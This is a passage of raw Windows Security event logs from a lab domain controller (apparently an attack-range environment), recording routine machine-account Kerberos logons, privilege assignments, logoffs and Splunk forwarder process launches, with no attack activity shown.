EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255436
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x30AD4F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62588

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:12:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255435
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x30AD4F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:12:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255452
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1014
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:12:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255451
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x30B173

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:12:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255450
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x30B281

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:12:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255449
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x30B2C9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:12:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255448
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x30B33B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62594

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:12:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255447
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x30B33B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:12:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255446
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x30B2C9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		62593

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:12:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255445
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x30B2C9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:12:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255444
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x30B281
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:12:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255443
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x30B281

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:12:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255442
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x30B173
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62592

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:12:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255441
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x30B173

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:12:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255453
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:12:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255455
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x968
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:12:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255454
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x558
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:12:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255457
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x32c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:12:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255456
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1084
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:12:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255458
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1348
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:12:20 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255459
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x30B33B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:12:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255462
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x30E7AE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:12:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255461
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x30E7AE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62605

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:12:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255460
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x30E7AE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:13:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255463
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
